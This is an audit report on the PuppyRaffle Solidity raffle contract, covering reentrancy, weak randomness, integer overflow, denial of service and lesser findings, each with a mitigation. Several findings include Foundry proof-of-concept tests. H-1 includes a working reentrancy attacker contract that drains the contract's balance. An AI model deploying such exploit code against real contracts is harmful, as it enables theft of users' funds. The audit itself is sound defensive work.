PuppyRaffle Protocol Audit Report

Version 1.0

Geekybot

April 2, 2025

PuppyRaffle Protocol Audit Report

geekybot

April 2, 2025

Prepared by: Geekybot

Lead Auditors:

- Utpal Pal

Table of Contents

Protocol Summary

Puppy Raffle

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Geekybot team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Auditing `PuppyRaffle` was exceptionally fun and challenging at the same time, the clear scope of audit and the documentations helped a lot to process all the informations required to perform the security review, we found several high impacting issues to gas to informational reports. We hope the protocol fixes the issues before going live with the recommendations provided in each of the reportings.

Issues found

Severity	No of Issues Found
HIGH	3
MEDIUM	2
LOW	1
Gas	2
INFO	7
TOTAL	15

Findings

High

[H-1] Reentrancy in the `PuppyRaffle::refund` contract allows participant to steal all the funds in the contract

Description:

`Puppyraffle::refund` function doesn't follow CEI (Check, Effect, Interaction) pattern, and as a result allows reentrancy in the function drain all the balances from the contract.

In the `PuppyRaffle::refund` function it makes an external call to msg.sender to send the funds before updating `PuppyRaffle::players` array.

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5  @>      payable(msg.sender).sendValue(entranceFee);
6  @>      players[playerIndex] = address(0);
7          emit RaffleRefunded(playerAddress);
8      }
```

A player who has entered the raffle can have a `fallback`/`receive` function in the contract that calls `PuppyRaffle::refund` function again to withdraw funds, before the `PuppyRaffle::players` array is updated and continue doing so until all the funds are drained.

Impact: This is highest severity impact as it drains all the funds from the contract by a malicious participant

Proof of Concept:

1. User enters the Raffle
2. Attacker sets up a contract with `fallback` function which calls `PuppyRaffle::refund` function
3. Attacker enters the raffle
4. Attacker calls the `PuppyRaffle::refund` function from their attack contract, draining the contract balance

Proof of Code

Paste this code in `PuppyRaffle.t.sol`

Code

```
function test_ReentrantRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;

        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        AttackPuppyRaffle attackPuppy = new AttackPuppyRaffle(
            puppyRaffle);
        address attackUser = makeAddr("attackerUser");
        vm.deal(attackUser, 1 ether);

        console.log("Starting puppyRaffle balance: ", address(
            puppyRaffle).balance);
        console.log("Starting attackContract balance: ", address(
            attackPuppy).balance);

        vm.prank(attackUser);
        attackPuppy.attack{value: entranceFee}();

        console.log("Ending puppyRaffle balance: ", address(puppyRaffle
            ).balance);
        console.log("Ending attackContract balance: ", address(
            attackPuppy).balance);

    }
```

Also Paste this code in the `PuppyRaffle.t.sol`

Attack Contract

```
contract AttackPuppyRaffle {
    PuppyRaffle puppyRaffle;
    uint256 public entranceFee;
    uint256 public attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        require(msg.value == entranceFee, "entrance fee sent is not
            proper");
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: msg.value}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
```

```
                ;
18          puppyRaffle.refund(attackerIndex);
19      }
20
21      receive() external payable {
22          if (address(puppyRaffle).balance >= entranceFee) {
23              puppyRaffle.refund(attackerIndex);
24          }
25      }
26  }
```

Recommended Mitigation: To Prevent this, we should have the `PuppyRaffle::refund` function to update the players array before making an external call. Additionally we should move the event emmision up as well.

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5  +       players[playerIndex] = address(0);
6  +       emit RaffleRefunded(playerAddress);
7          payable(msg.sender).sendValue(entranceFee);
8  -       players[playerIndex] = address(0);
9  -       emit RaffleRefunded(playerAddress);
10     }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users/miners predict or manipulate the winner and the puppy rarity

Description:

In `PuppyRaffle::selectWinner` function finding `winnerIndex` through random number generation using `msg.sender`, `block.timestamp` and `block.difficulty` results in weak randomness, as a miner can manipulate the timestamp and difficulty, also a malicious attacker can fuzz through different `msg.sender` to manipulate the random number generation for their favorable outcome.

Notes: This additionally means other users can frontrun the `PuppyRaffle::selectWinner` function if they are not winning, leading to a gas war.

Impact: Any user can influence the winner of the raffle by chhosing winner and rarest of puppy

Proof of Concept:

1. Validator can know `block.timestamp` and `block.difficulty` ahead of time, and they can decide when to enter the raffle and manipulate the raffle winner selection, recently `block.difficulty` has been replaced by `prevrando`, see more on prevrando
2. User can revert the `PuppyRaffle::selectWinner` if they didn't win
3. User can manipulate `msg.sender` to make sure they win the raffle and the puppy

Using on chain value as seed for randomness is a well-known-attack-vector

Recommended Mitigation: Condider using a cryptographically provable Random Number Generation, such as Chainlink VRF

[H-3] Integer overflow at `PuppyRaffle::selectWinner` will cause the protocol to lose collected fees

Description:

Before `solidity::0.8.0` adding to integer were subjected overflow. Collecting fees and adding it to `totalFees` in `PuppyRaffle::selectWinner` through unsafe `u64` casting will cause over flow if `fee` collected is more than `max(u64)`.

```
1      uint64 max = type(uint64).max
2      //18446744073709551615
3      max = max + 1
4      // 0
5      // adding 1 to the max will cause integer overflow and on unsafe
           casting it'll result in 0
```

Impact: This will severly impact protocol to lose fees, as the protocol collecte fees in `PuppyRaffle::selectWinner` function in the variable `PuppyRaffle::totalFees`, which will be later collected by the `PuppyRaffle::feeAddress`. However, due to integer overflow `totalFees` will be reflected incorrectly and `feeAddress` will collect lesser fees stored on thisvariable, leaving the collected fees in the contract stuck forever.

Proof of Concept:

1. We conclude a raffle of four players
2. Checked fees which is `800000000000000000`
3. we entered with 90 more players, and conclude the raffle, now fees calculation follows `javscript totalFees = totalFees + uint64(fees); //aka totalFees = 800000000000000000 + 18000000000000000000 // and this will overflow totalFees = 353255926290448384`
4. You will not be able to withdraw the fees due to the line in `PuppyRaffle::withdraw`

```
        require(address(this).balance == uint256(totalFees), "
            PuppyRaffle: There are currently players active!");
```

Paste this code in `PuppyRaffle.t.sol`

POC

```
function test_IntegerOverflow() public {
        address[] memory fourPlayers = new address[](4);
        fourPlayers[0] = address(uint160(0));
        fourPlayers[1] = address(uint160(1));
        fourPlayers[2] = address(uint160(2));
        fourPlayers[3] = address(uint160(3));
        puppyRaffle.enterRaffle{value: entranceFee * 4}(fourPlayers);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(1);
        puppyRaffle.selectWinner();
        uint feesAfter4peopleRaffle = puppyRaffle.totalFees();
        console.log("Total fees initial: ", feesAfter4peopleRaffle);
        uint PLAYER_LENGTH = 90;
        address[] memory players = new address[](PLAYER_LENGTH);
        for (uint i = 0; i < PLAYER_LENGTH; i++) {
            players[i] = address(uint160(i));
        }
        console.log("log");
        puppyRaffle.enterRaffle{value: entranceFee * PLAYER_LENGTH}(
            players);
        // selectWinner
        vm.warp(block.timestamp + 1 days + 2 minutes);
        puppyRaffle.selectWinner();
        uint totalFeesAfter = puppyRaffle.totalFees();
        console.log("Total fees after 90 more players: ",
            totalFeesAfter);

        assert(totalFeesAfter < feesAfter4peopleRaffle);
        //fee address
        vm.prank(feeAddress);
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();

    }
```

This also tests the condition

```
        require(address(this).balance == uint256(totalFees), "
            PuppyRaffle: There are currently players active!");
```

which will revert due to incorrect fee collected.

Although you could force send funds to this contract via `selfDestruct` to make the `require` condidion met in the withdraw, this is not and intended behaviour.

There are more attack vectors associated with this issue.

Recommended Mitigation:

1. Use a newer verison of solidity `0.8.0` or above, where unsafe casting and integer overflow is strictly checked.
2. Use `uint256` instead of `uint64`
3. Use `SafeMath` library by OpenZeppelin to safely do arithmetic operations on integers, though it could lead to complexity of the code and hard to maintain in later stage.
4. Remove the balance check in `PuppyRaffle::withdraw`

```
1 -         require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
```

Medium

[M-1] Lopping through the `players` array array to check for duplicates in `Puppyraffle::enterRaffle` is a potential denail of service (DoS) attack, incrementing gas costs for future entrants

Description:

Unbounded for loop in `Puppyraffle::enterRaffle` function to check duplicate players may cause Denial of Service attack, an attacker can enter with huge number of players, so new entrant will have to do more checks on players array which willl increase the gas cost of next players to enter making the `Puppyraffle::enterRaffle` be vulnerable to DoS attack, at one point it will exceed the block gas limit, potentially breaking the function. Cost for first player to enter the raffle is drammatically lower than players entering at later stage. This design may also create potential front running attack, when an user enters with large number of players with specific gas limit, a front running attack with higher gas could happen.

```
1 // @audit DoS Attack
2 @>      for (uint256 i = 0; i < players.length - 1; i++) {
3             for (uint256 j = i + 1; j < players.length; j++) {
4                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
5             }
6         }
```

Impact:

The gas costs for entering in the raffle greatly increases as more players join the raffle, creating a rush to enter the raffle at starting, also discourge participants to enter the raffle at later stage.

An attacker might make the players array so big with entries, that no one else joins the raffle, guaranteeing them to win.

Proof of Concept:

If we have two sets of 100 players entering the raffle, the gas cost will be following - The first 100 players entering the raffle: 6503272 gas - The second 100 players entering the raffle: 18995512 gas Which is 3X more costly than the first 100 players.

Also for a large number of players (Tested with 2000 players) the function breaks and reverts with `OutOfGas`

POC

Paste this test case in Test file `PuppyRaffle.t.sol`

```
function testDoSAttackOnEnterRaffle() public {
        uint PLAYER_LENGTH = 100;
        address[] memory players = new address[](PLAYER_LENGTH);
        for(uint i=0; i<PLAYER_LENGTH; i++){
            players[i] = address(uint160(i));
        }
        uint firstStartGas = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * PLAYER_LENGTH}(
            players);
        uint firstGasLeft = firstStartGas - gasleft();
        console.log("Gas cost for first 100 entrants: %s", firstGasLeft
            );

        address[] memory players2 = new address[](PLAYER_LENGTH);
        for(uint i=0; i<PLAYER_LENGTH; i++){
            players[i] = address(uint160(i + PLAYER_LENGTH));
        }
        uint secondStartGas = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * PLAYER_LENGTH}(
            players);
        uint secondGasLeft = secondStartGas - gasleft();
        console.log("Gas cost for second 100 entrants: %s",
            secondGasLeft);

        assert(firstGasLeft<secondGasLeft);

        uint MAX_PLAYER = 2000;
        address[] memory playersMax = new address[](MAX_PLAYER);
        for(uint i=0; i<MAX_PLAYER; i++){
            playersMax[i] = address(uint160(i + MAX_PLAYER));
        }
        vm.expectRevert();
```

```
29          puppyRaffle.enterRaffle{value: entranceFee * MAX_PLAYER}(
                playersMax);
30      }
```

Recommended Mitigation:

1. Allow duplicate entries for addresses, as you can't stop user making multiple addresses to enter the raffle

```
1       function enterRaffle(address[] memory newPlayers) public payable {
2           // q was require introduced in solidity 0.7.6
3           // q what if there are 0 players, the require statement holds
                true
4           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
5           for (uint256 i = 0; i < newPlayers.length; i++) {
6               players.push(newPlayers[i]);
7           }
8
9           // Check for duplicates
10  -        for (uint256 i = 0; i < players.length - 1; i++) {
11  -            for (uint256 j = i + 1; j < players.length; j++) {
12  -                require(players[i] != players[j], "PuppyRaffle:
        Duplicate player");
13  -            }
14  -        }
15          emit RaffleEnter(newPlayers);
16      }
```

2. Add a `raffleID`, to the contract and create an `address` to `raffleID` mapping to keep users checked for a single round of raffle.

```
1   +   uint256 blic raffleID;
2   +   mapping (address => uint256) public playersToRaffle;
3
4       function enterRaffle(address[] memory newPlayers) public payable {
5           // q was require introduced in solidity 0.7.6
6           // q what if there are 0 players, the require statement holds
                true
7           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
8           for (uint256 i = 0; i < newPlayers.length; i++) {
9   +           //check for duplicates
10  +           require(playersToRaffle(newPlayers[i]) != raffleID, "
        PuppyRaffle: already a player")
11              players.push(newPlayers[i]);
12  +           playersToRaffle[newPlayers[i]] = raffleID;
13          }
14
15
```

```
16          // Check for duplicates
17  -        for (uint256 i = 0; i < players.length - 1; i++) {
18  -            for (uint256 j = i + 1; j < players.length; j++) {
19  -                require(players[i] != players[j], "PuppyRaffle:
        Duplicate player");
20  -            }
21  -        }
22          emit RaffleEnter(newPlayers);
23      }
24
25          function selectWinner() external {
26              //existing codes
27  +           raffleID = raffleID+1;
28          }
```

[M-2] Smart contract wallet raffle winner without a `receive` or `fallback` function will cause the `PuppyRaffle::selectWinner` to revert, causing the protocol to halt by unable to start a new raffle.

Description: In `PuppyRaffle::selectWinner` this line

```
1  @>        (bool success,) = winner.call{value: prizePool}("");
```

will revert if the winner is a smart contract wallet, which doesn't have `receive` or `fallback` function. Wasting the gas for the player and essentially halt the process of winner selection. This will effect the protocol, as it can't start a new raffle until the previous raffle is ended with raffleWinner selcetion via `PuppyRaffle::selectWinner`.

Impact:

Restarting the lottery gets difficult if there are many smart contract wallets without a `receive` or `fallback` function, and it wastes gas. Also severly disrupting the raffle restarting process

Proof of Concept:

1. 10 Smart contract wallets entered the raffle without `receive` or `fallback` function.
2. After the raffle is over at concluding `PuppyRaffle::selectWinner` will fail indefenitely as it will revert everytime during external call to send the winnings.
3.

Recommended Mitigation: There are a few mitigation recommendations

1. Don't allow smart contract wallets (not recommended)
2. Create a mapping of players to winnings, and let the player withdraw funds themselves, by claiming (recommend)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns `0` for inactive players as well as for the player at index `0`, causing a player at index 0 looks like he didn't participate in the raffle

Description:

`PuppyRaffle::getActivePlayerIndex` returns `0` if a player is at `PuppyRaffle::players` `0` index, according to natspec it also returns `0` if the player didn't enter the raffle.

```
1     /// @return the index of the player in the array, if they are not
          active, it returns 0
2     function getActivePlayerIndex(address player) external view returns
          (uint256) {
3         for (uint256 i = 0; i < players.length; i++) {
4             if (players[i] == player) {
5                 return i;
6             }
7         }
8         return 0;
9     }
```

Impact: A player at index `0` might think incorrectly that he didn't enter the raffle, and attempt to reenter again wasting gas.

Proof of Concept:

1. Player enters raffle at index `0`
2. `PuppyRaffle::getActivePlayerIndex` reurns `0`
3. Player thinks he didn't enter the raffle according to documentation

Recommended Mitigation: 1. The easiest fix should be to revert if the player doesn't exist in `PuppyRaffle::players`. 2. Alternatively index `0` can be set as a reserved position, and player entering the raffle should start at 1. 3. Another soultion should be returning `int256` value of `-1` when a player doesn't exist in the `PuppyRaffle::players` array.

Gas

[G-1] Unchanged state variable should be marked as `immutable` or `constant`

Reading from storage is much more expensive than reading from immutable or constant variable

Instances - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variable in the loops should be cached

Everytime you call `players.length` you read from the storage, as opposed from memory, which is much more gas efficient

```
+   uint256 playersLength = players.length;
-   for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = 0; i < playersLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Informational/Non-Crits

[I-1]: Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.18;`, use `pragma solidity 0.8.18;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated solidity version is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation

Deploy with a recent version of Solidity (at least 0.8.018) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please refer Slither Documentation for more information.

[I-3]: Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 69

```
1          feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 200

```
1          feeAddress = newFeeAddress;
```

[I-4]: `PuppyRaffle::selectWinner` doesn't follow CEI

```
1  -       (bool success,) = winner.call{value: prizePool}("");
2  -       require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
3          _safeMint(winner, tokenId);
4  +       (bool success,) = winner.call{value: prizePool}("");
5  +       require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
```

[I-5] Use of magic numbers are discourged

Instead using numbers it would be better to give them a name

```
1          uint256 prizePool = (totalAmountCollected * 80) / 100;
2          uint256 fee = (totalAmountCollected * 20) / 100;
```

Using a naming convention helps to understand the intended use of these values

```
1  +uint256 public constant WINNING_POOL_PERCENTAGE = 80;
2  +uint256 public constant FEE_PERCENTAGE = 20;
3  +uint256 public constant POOL_PERCENTAGE_PRECISION = 100;
```

[I-6] Missing events for state changes

There are state variable changes in this function but no event is emitted. Consider emitting an event to enable offchain indexers to track the changes.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 141

```
1       function selectWinner() external {
```

- Found in src/PuppyRaffle.sol Line: 184

```
1       function withdrawFees() external {
```

[I-7] Dead Code, `PuppyRaffle::_isActivePlayer` isn't used anywhere

`PuppyRaffle::_isActivePlayer` isn't used internally anywhere, maybe it should be marked `external` or be removed if unused.